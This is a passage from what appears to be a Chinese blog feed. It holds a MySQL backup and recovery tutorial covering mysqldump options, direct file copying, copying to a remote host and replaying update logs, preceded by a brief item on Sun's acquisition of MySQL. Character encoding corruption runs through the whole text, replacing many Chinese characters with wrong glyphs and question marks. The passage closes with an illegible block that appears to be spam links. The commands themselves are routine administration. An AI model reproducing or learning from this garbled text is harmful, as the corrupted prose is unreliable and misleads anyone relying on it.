    2008q??6日,Sun Microsystems宣布收购MySQL ABQ出L(fng)10亿美元现金外加期权?http://www.mysql.com/news-and-events/sun-to-acquire-mysql.html

    ]]>
    MySQL数据备䆾(包含一些常用处理工具名U?http://www.tkk7.com/jiabao/archive/2008/04/12/192377.html金家?/dc:creator>金家?/author>Sat, 12 Apr 2008 03:35:00 GMThttp://www.tkk7.com/jiabao/archive/2008/04/12/192377.htmlhttp://www.tkk7.com/jiabao/comments/192377.htmlhttp://www.tkk7.com/jiabao/archive/2008/04/12/192377.html#Feedback0http://www.tkk7.com/jiabao/comments/commentRss/192377.htmlhttp://www.tkk7.com/jiabao/services/trackbacks/192377.html 

      在数据库表丢失或损坏的情况下Q备份你的数据库是很重要的。如果发生系l崩溃,你肯定想能够你的表可能丢失最的数据恢复到崩溃发生时的状态。有Ӟ正是 MySQL 理员造成破坏。管理员已经知道表已破坏Q用诸如 vi ?Emacs {编辑器试图直接~辑它们Q这对表l对不是件好事!

      备䆾数据库两个主要方法是?mysqldump E序或直接拷贝数据库文gQ如?cp、cpio ?tar {)(j)。每U方法都有其优缺点:(x)

      mysqldump ?MySQL 服务器协同操作。直接拷贝方法在服务器外部进行,q且你必采取措施保证没有客h在修改你拷贝的表。如果你想用文gpȝ备䆾来备份数据库Q也?x)发生同L(fng)问题Q如果数据库表在文gpȝ备䆾q程中被修改Q进入备份的表文件主语不一致的状态,而对以后的恢复表失L义。文件系l备份与直接拯文g的区别是对后者你完全控制?jin)备份过E,q样你能采取措施保服务器让表不受干扰?

      mysqldump 比直接拷贝要慢些?

      mysqldump 生成能够UL到其它机器的文本文gQ甚至那些有不同gl构的机器上。直接拷贝文件不能移植到其它机器上,除非你正在拷贝的表?MyISAM 存储格式。ISAM 表只能在怼的硬件结构的机器上拷贝。在 MySQL 3.23 中引入的 MyISAM 表存储格式解决了(jin)该问题,因ؓ(f)该格式是机器无关的,所以直接拷贝文件可以移植到h不同gl构的机器上。只要满两个条Ӟ(x)另一台机器必Mq行 MySQL 3.23 或以后版本,而且文g必须?MyISAM 格式表示Q而不?ISAM 格式?

      不管你用哪U备份方法,如果你需要恢复数据库Q有几个原则应该遵守Q以保最好的l果Q?

      定期实施备䆾。徏立一个计划ƈ严格遵守?

      让服务器执行更新日志。当你在崩溃后需要恢复数据时Q更新日志将帮助你。在你用备䆾文g恢复数据到备份时的状态后Q你可以通过q行更新日志中的查询再次q用备䆾后面的修改,q将数据库中的表恢复到崩溃发生时的状态?

      以文件系l备份的术语Ԍ数据库备份文件代表完全們ր(full dumpQ,而更新日志代表渐q們ր(incremental dumpQ?

      使用一U统一的和易理解的备䆾文g命名机制。象 backup1、buckup2 {不是特别有意义。当实施你的恢复Ӟ你将费旉扑և文g里是什么东ѝ你可能发觉用数据库名和日期构成备䆾文g名会(x)很有用。例如:(x)

      %mysqldump samp_db >/usr/archives/mysql/samp_db.1999-10-02

      %mysqldump menagerie >/usr/archives/mysql/menagerie.1999-10-02

      你可能想在生成备份后压羃它们。备份一般都很大Q你也需要让你的备䆾文g有过期期限以避免它们填满你的盘Q就象你让你的日志文件过期那栗?

      用文件系l备份备份你的备份文件。如果遇上了(jin)一个彻底崩溃,不仅清除?jin)你的数据目录,也清除?jin)包含你的数据库备份的盘驱动器,你将真正遇上?jin)麻烦(ch)?

      也要备䆾你的更新日志?

      你的备份文件放在不同于用于你的数据库的文gpȝ上。这降低由于生成备份而填满包含数据目录的文gpȝ的可能性?

      用于创徏备䆾的技术同样对拯数据库到另一台机器有用。最常见圎ͼ一个数据库被{Ud?jin)运行在另一CZ的服务器Q但是你也可以将数据转移到同一CZ的另一个服务器?

      1 使用 mysqldump 备䆾和拷贝数据库

      当你使用 mysqldumo E序产生数据库备份文件时Q缺省地Q文件内容包含创建正在們ր的表的 CREATE 语句和包含表中行数据?INSERT 语句。换句话_(d)mysqldump 产生的输出可在以后用?mysql 的输入来重徏数据库?

      你可以将整个数据库們ր进一个单独的文本文g中,如下Q?

      %mysqldump samp_db >/usr/archives/mysql/samp_db.1999-10-02

      输出文g的开头看h象这P(x)

      # MySQL Dump 6.0# # Host: localhost Database: samp_db#-------------

      --------------------------# Server version 3.23.2-alpha-log## Table st

      ructure for table absence#CREATE TABLE absence( student_id int(10)

      unsigned DEFAULT 0 NOT NULL, date date DEFAULT 0000-00-00 NOT NUL

      L, PRIMARY KEY (student_id,date));## Dumping data for table absence

      #INSERT INTO absence valueS (3,1999-09-03);INSERT INTO absence value

      S (5,1999-09-03);INSERT INTO absence valueS (10,1999-09-08);......

      文g剩下的部分有更多的INSERT和CREATE TABLE语句l成。如果你惛_~备份,使用cM如下的命令:(x)

      %mysqldump samp_db | gzip >/usr/archives/mysql/samp_db.1999-10-02.gz

      如果你要一个庞大的数据库,输出文g也将很庞大,可能难于理。如果你愿意Q你可以?mysqldump 命o(h)行的数据库名后列出单独的表名来們ֈ它们的内容,q将們ր文件分成较?yu)、更易于理的文件。下例显C如何将 samp_db 数据库的一些表們ֈq分开的文件中Q?

      %mysqldump samp_db student score event absence >grapbook.sql

      %mysqldump samp_db member president >hist-league.sql

      如果你生成准备用于定期刷新另一个数据库内容的备份文Ӟ你可能想?--add- drop-table 选项。这告诉服务器将 DROP TABLE IF EXISTS 语句写入备䆾文gQ然后,当你取出备䆾文gq把它装载进W二个数据库Ӟ如果表已l存在,你不?x)得C个错误?

      如果你倒出一个数据库以便能把数据库{Ud另一个服务器Q你甚至不必创徏备䆾文g。要保证数据库存在于另一C机,然后用管道們ր数据库Q这?mysql 能直接读?mysqldump 的输出。例如:(x)你想从主?pit- viper.snake.net 拯数据?samp_db ?boa.snake.netQ可以这样很Ҏ(gu)做到Q?

      %mysqladmin -h boa.snake.net create samp_db

      %mysqldump samp_db | mysql -h boa.snake.net samp_db

      以后Q如果你惛_ơ刷?boa.snake.net 上的数据库,跌 mysqladmin 命o(h)Q但要对 mysqldump 加上--add-drop-table 以避免的得到表已存在的错误:(x)

      %mysqldump --add-drop-table samp_db | mysql -h boa.snake.net samp_db

      mysqldump 其它有用的选项包括Q?

      --flush-logs ?--lock-tables l合对你的数据库检查点有帮助?-lock-tables 锁定你正在們ր的所有表Q?--flush-logs 关闭q新打开更新日志文gQ新的更新日志将只包括从备䆾点v的修Ҏ(gu)据库的查询。这设|你的更新日志检查点位备份时间。(然而如果你有需要执行个更新的客P锁定所有表对备份期间的客户讉K不是件好事。)(j)

      如果你?--flush-logs 讄(g)查点到备份时Q有可能最好是們ր整个数据库?

      如果你們ր单独的文gQ较隑ְ更新日志(g)查点与备份文件同步。在恢复期间Q你通常按数据库为基提取更新日志内容Q对单个表没有提取更新的选择Q所以你必须自己提取它们?

      ~省圎ͼmysqldump 在写入前一个表的整个内容读q内存。这通常实不必要,q且实际上如果你有一个大表,几乎是失败的。你可用 --quick 选项告诉 mysqldump 只要它检索出一行就写出每一行。ؓ(f)?jin)进一步优化們ր过E,使用 --opt 而不?--quick?-opt 选项打开其它选项Q加速数据的們ր和把它们读回?

      ?--opt 实施备䆾可能是最常用的方法,因ؓ(f)备䆾速度上的优势。然而,要警告你Q?-opt 选项实有代P--opt 优化的是你的备䆾q程Q不是其他客户对数据库的讉K?-opt 选项通过一ơ锁定所有表LM人更C正在們ր的M表。你可在一般数据库讉K上很Ҏ(gu)看到其效果。当你的数据库一般非帔RJ地使用Q只是一天一ơ地调节备䆾?

      一个具?--opt 的相反效果的选项?--dedayed。该选项使得 mysqldump 写出 INSERT DELAYED 语句而不?INSERT 语句。如果你数据文件装入另一个数据库q且你想是这个操作对可能出现在该数据库中的查询的影响最,--delayed Ҏ(gu)很有帮助?

      --compress 选项在你拯数据库到另一台机器上时很有帮助,因ؓ(f)它减网l传输字节的数量。下面有一个例子,注意?--compress 对与q端L上的服务器通信的程序才l出Q而不是对与本C接的E序Q?

      %mysqldump --opt samp_db | mysql --compress -h boa.snake.net samp_db

      2 使用直接拯数据库的备䆾和拷贝方?

      另一U不涉及(qing) mysqldump 备䆾数据库和表的方式是直接拷贝数据库表文件。典型地Q这用诸?cp、tar ?cpio 实用E序。本文的例子使用 cp?

      当你使用一U直接备份方法时Q你必须保证表不在被使用。如果服务器在你则正在拷贝一个表时改变它Q拷贝就失去意义?

      保证你的拯完整性的最好方法是关闭服务器,拯文gQ然后重启服务器。如果你不想关闭服务器,要在执行表检查的同时锁定服务器。如果服务器在运行,相同的制U也适用于拷贝文Ӟ而且你应该用相同的锁定协议让服务器“安?rn)下来”?

      假设服务器关闭或你已l锁定了(jin)你想拯的表Q下列显C如何将整个 samp_db 数据库备份到一个备份目录(DATADIR 表示服务器的数据目录Q:(x)

      %cd DATADIR%cp -r samp_db /usr/archive/mysql

      单个表可以如下备份:(x)

      %cd DATADIR/samp_db%cp member.* /usr/archive/mysql/samp_db%cp score.*

      /usr/archive/mysql/samp_db ....

      当你完成?jin)备份时Q你可以重启服务器(如果关闭?jin)它Q或释放加在表上的锁定(如果你让服务器运行)(j)?

      要用直接拯文g把一个数据库从一台机器拷贝到另一台机器上Q只是将文g拯到另一台服务器L的适当数据目录下即可。要保文g?MyIASM 格式或两台机器有相同的硬件结构,否则你的数据库在另一CZ有奇怪的内容。你也应该保证在另一台机器上的服务器在你正在安装数据库表时不讉K它们?

      3 复制数据库(Replicating DatabaseQ?

      复制QReplicationQ类g拯数据库到另一台服务器上,但它的确切含义是实时C证两个数据库的完全同步。这个功能将?3.23 版中出现Q而且q不很成熟,因此本文不作详细介绍?

      4 用备份恢复数?

      数据库损坏的发生有很多原因,E度也不同。如果你走运Q你可能仅损坏一两个表(如掉?sh)?j)Q如果你倒霉Q你可能必须替换整个数据目录Q如盘损坏Q。在某些情况下也需要恢复,比如用户错误地删除了(jin)数据库或表。不这些倒霉事g的原因,你将需要实施某U恢复?

      如果表损坏但没丢失,试?myisamchk ?isamchk 修复它们Q如果这L(fng)损坏可有修复E序修复Q你可能Ҏ(gu)不需要用备份文件?/p>

      恢复q程涉及(qing)两种信息源:(x)你的备䆾文g和个更新日志。备份文件将表恢复到实施备䆾时的状态,然而一般表在备份与发生问题之间的时间内已经被修改,更新日志包含?jin)用于进行这些修改的查询。你可以使用日志文g作ؓ(f) mysql 的输入来重复查询。这已正是ؓ(f)什么要启用更新日志的原因?

      恢复q程视你必须恢复的信息多而不同。实际上Q恢复整个数据库比单个表跟容易,因ؓ(f)对于数据库运用更新日志比单个表容易?

      4.1 恢复整个数据?

      首先Q如果你x复的数据库是包含授权表的 mysql 数据库,你需要用 --skip -grant-table 选项q行服务器。否则,它会(x)抱怨不能找到授权表。在你已l恢复表后,执行 mysqladmin flush-privileges 告诉服务器装载授权标q用它们?

      数据库目录内容拯到其它某个地方,如果你在以后需要它们?

      用最新的备䆾文g重装数据库。如果你?mysqldump 产生的文Ӟ它作ؓ(f) mysql 的输入。如果你用直接从数据库拷贝来的文Ӟ它们直接拷回数据库目录Q然而,此时你需要在拯文g之前关闭数据库,然后重启它?

      使用更新日志重复做备份以后的修改数据库表的查询。对于Q何可适用的更新日志,它们作?mysql 的输入。指?--one-database 选项使得 mysql 只执行你有兴恢复的数据库的查询。如果你知道你需要运用所有更新日志文Ӟ你可以在包含日志的目录下使用q条命o(h)Q?

      % ls -t -r -1 update.[0-9]* | xargs cat | mysql --one-database db_name

      ls 命o(h)生成更新日志文g的一个单列列表,Ҏ(gu)服务器生它们的ơ序排序Q主意:(x)如果你修改Q何一个文Ӟ你将改变排序ơ序Q这D更新日志一错误的次序被q用。)(j)

      很可能你?x)是q用某几个更新日志。例如,自从你备份以来生的更新日志被命名ؓ(f) update.392、update.393 {等Q你可以q样重新q行Q?

      %mysql --one-database db_name < update.392

      %mysql --one-database db_name < update.393

      .....

      如果你正在实施恢复且使用更新日志恢复׃一个错误徏议的 DROP DATABASE、DROP TABLE ?DELETE 语句造成丢失的信息,在运用更新日志之前,要保证从其中删除q些语句?

      4.2 恢复单个?

      恢复单个表较为复杂。如果你用一个由 mysqldump 生成的备份文Ӟq且它不包含你感兴趣的表的数据,你需要从相关行中提取它们q将它们用作 mysql 的输入。这是容易的部分。难的部分是从只q用于该表的更新日志中拉出片断。你?x)发?mysql_find_rows 实用E序Ҏ(gu)很有帮助Q它从更新日志中提取多行查询?

      另一个可能性是使用另一台服务器恢复整个数据库,然后拯你想要的表文件到原数据库中。这可能真的很容易!当你文件拷回数据库目录Ӟ要确保原数据库的服务器关闭?



    ]]>
    վ֩ģ壺 ޴ɫ߹ۿ| avɱվ| ޾Ʒ߹ۿ| һAëƬѹۿþþƷ| 99Ƶ߿| AVվ| ɫþþ99Ʒ| www77777| ĻȫѰ| ŮɫëƬѿ| ĻۺϾþ| ѹۿ| aaŮ˴ƬˮƵ| ˴ֳսŮ2021ƷƵ| AVƬ߹ۿ| ۺϾþþƷɫ| þþƷ| һһƬѲi| Ƶһ߲| 뾫Ʒþþþ| ĻƵֻѿ| ޺Ʒһ| ޾Һ| Ʒһ3p| ߹ۿվ| 91޾Ʒ鶹| ɫվ| mm1313޾Ʒ| ˾Ʒձ18ͼ| һëƬ߲Ƶ| ߹ۿëƬ| ޾Ʒŷۺ| ձһ߹ۿ| һ| Ƶһ| 69˾ƷƵ | ëƬ18ŮëƬƵδ | ȫɫƴɫƬѾþ| þþþAVר| fc2ѹƵ18| 鶹ѹۿ91|